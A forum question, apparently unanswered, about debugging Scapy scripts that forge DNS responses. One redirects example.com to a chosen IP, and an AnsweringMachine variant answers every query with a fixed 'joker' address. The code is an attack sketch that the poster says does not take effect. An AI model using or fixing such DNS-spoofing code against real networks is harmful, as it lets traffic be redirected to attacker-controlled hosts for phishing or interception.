Looping requests in spoofing dns with scapy

Viewed 1165

So I'm using an online tutorial to spoof dns in my system. (You can read some more in previous question. )

I used this code to redirect special addresses to another one:

dns_server_ip = '46.165.233.150'
bpf_filt = 'udp port 53'


def dns_responder(local_ip):
    def forward_dns(orig_pkt):
        print('Forwarding:', orig_pkt[DNSQR].qname)
        response = sr1(IP(dst="192.168.43.1", src="192.168.43.64") / UDP(sport=orig_pkt[UDP].sport) / \
                       DNS(rd=1, id=orig_pkt[DNS].id, qd=DNSQR(qname=orig_pkt[DNSQR].qname)), verbose=0)
        #response.show()
        respPkt = IP(dst=orig_pkt[IP].src, src=orig_pkt[IP].dst) / UDP(dport=orig_pkt[UDP].sport) / DNS()
        respPkt[DNS] = response[DNS]
        send(respPkt, verbose=0)
        return 'Responding: {}'.format(respPkt.summary())

    def get_response(pkt):
        if DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0 and pkt[IP].src != local_ip:
            if 'example.com' in str(pkt['DNS Question Record'].qname):
                spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
                          / UDP(dport=pkt[UDP].sport, sport=53) \
                          / DNS(id=pkt[DNS].id, qr=1, qd=DNSQR(qname=pkt[DNSQR].qname), \
                                an=DNSRR(rrname="example.com", rdata = local_ip))
                send(spfResp, verbose=0)
                return 'Spoofed DNS Response Sent'

            else:
                # make DNS query, capturing the answer and send the answer
                return forward_dns(pkt)

    return get_response


sniff(filter=bpf_filt, prn=dns_responder(dns_server_ip))

The problem with this code is when it captures a packet with a doamin that's not wanted and needs to be skipped, it runs infinitely and never stops and keep sending and receiving packets from the same domains. Meanwhile when I type a url that I want to spoof it's dns in the browser like example.com it does not capture it. If I comment the line:

return forward_dns(pkt)

In the else statement and write something else, it does capture the packet and send the response, but still I'm seeing the same example.com website in my browser, not the site with the ip that I gave to the script. So the whole thing is is this working on a browser? Because I used the nslookup in the windows command and still get the example.com ip as the response, not the one that I faked.

Answering Machine

Now this is the updated code with the answering machine, suppose that we want to spoof every single dns request:

class DNS_am (AnsweringMachine):
    function_name = "dns_spoof"
    filter="udp port 53"

    def parse_options(self, joker="137.74.18.82", zone=None):
        if zone is None:
            zone = {}
        self.zone = zone
        self.joker = joker

    def is_request(self, req):
        return req.haslayer(DNS) and req.getlayer(DNS).qr==0

    def make_reply(self, req):
        ip = req.getlayer(IP)
        dns = req.getlayer(DNS)
        rdata = self.zone.get(dns.qd.qname, self.joker)
        resp = IP(dst=ip.src, src=ip.dst) \
        / UDP(dport=ip.sport, sport=53) \
        / DNS(id=dns.id, qr=1, qd=dns.qd,
              an=DNSRR(rrname=dns.qd.qname, rdata=rdata))

        return resp

DNS_am()()

When I run this script, it successfully captures all the dns queries and and send the fake response, but this response does not take effect. Still the main response works. In wireshark, the fake response is marked as transmitted response.

0 Answers
Related